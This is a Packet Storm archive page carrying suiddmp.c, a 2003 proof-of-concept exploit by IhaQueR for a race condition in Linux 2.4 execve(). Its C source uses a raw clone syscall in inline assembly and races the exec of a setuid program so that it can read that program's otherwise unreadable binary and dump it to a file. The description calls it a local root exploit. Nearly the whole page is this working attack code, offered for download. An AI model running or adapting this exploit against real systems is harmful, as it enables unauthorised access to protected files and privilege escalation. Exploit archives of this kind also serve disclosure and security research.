what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

suiddmp.c

suiddmp.c
Posted Jun 28, 2003
Authored by IhaQueR

Local root exploit that makes use of a race condition vulnerability found in the Linux execve() system call that affects the 2.4 kernel tree.

tags | exploit, kernel, local, root
systems | linux
SHA-256 | c02c2f58cf3b035c346097edc9de2f0459979689331100ce6b90e71e1f58d4b2

suiddmp.c

Change Mirror Download
/****************************************************************
* *
* Linux 2.4.x suid exec/file read race proof of concept *
* by IhaQueR *
* *
****************************************************************/



#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <fcntl.h>
#include <signal.h>

#include <sys/types.h>
#include <sys/stat.h>

#include <asm/page.h>



void fatal(const char *msg)
{
printf("\n");
if (!errno) {
fprintf(stderr, "FATAL: %s\n", msg);
} else {
perror(msg);
}

printf("\n");
fflush(stdout);
fflush(stderr);
exit(129);
}


int child(char **av)
{
int fd;

printf("\nChild running pid %d", getpid());
fflush(stdout);
usleep(100000);

execvp(av[0], av + 1);

printf("\nFatal child exit\n");
fflush(stdout);
exit(0);
}


void exitus(int v)
{
printf("\nParent terminating (child exited)\n\n");
fflush(stdout);
exit(129);
}

void usage(const char *name)
{
printf("\nSuid exec dumper by IhaQueR\n");
printf("\nUSAGE:\t%s executable [args...]", name);
printf("\n\n");
fflush(stdout);
exit(0);
}


int main(int ac, char **av)
{
int p = 0, fd = 0;
struct stat st, st2;

if (ac < 2)
usage(av[0]);

av[0] = (char *) strdup(av[1]);
av[1] = (char *) basename(av[1]);

p = stat(av[0], &st2);
if (p)
fatal("stat");

signal(SIGCHLD, &exitus);
printf("\nParent running pid %d", getpid());
fflush(stdout);

__asm__ (
"pusha \n"
"movl $0x411, %%ebx \n"
"movl %%esp, %%ecx \n"
"movl $120, %%eax \n"
"int $0x80 \n"
"movl %%eax, %0 \n"
"popa"
: : "m"(p)
);

if (p < 0)
fatal("clone");

if (!p)
child(av);

printf("\nParent stat loop");
fflush(stdout);
while (1) {
p = fstat(3, &st);
if (!p) {
if (st.st_ino != st2.st_ino)
fatal("opened wrong file!");

p = lseek(3, 0, SEEK_SET);
if (p == (off_t) - 1)
fatal("lseek");
fd = open("suid.dump", O_RDWR | O_CREAT | O_TRUNC | O_EXCL,
0755);
if (fd < 0)
fatal("open");
while (1) {
char buf[8 * PAGE_SIZE];

p = read(3, buf, sizeof(buf));
if (p <= 0)
break;
write(fd, buf, p);
}
printf("\nParent success stating:");
fflush(stdout);
printf("\nuid %d gid %d mode %.5o inode %u size %u",
st.st_uid, st.st_gid, st.st_mode, st.st_ino,
st.st_size);
fflush(stdout);
printf("\n");
fflush(stdout);
exit(1);
}
}

printf("\n\n");
fflush(stdout);

return 0;
}


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close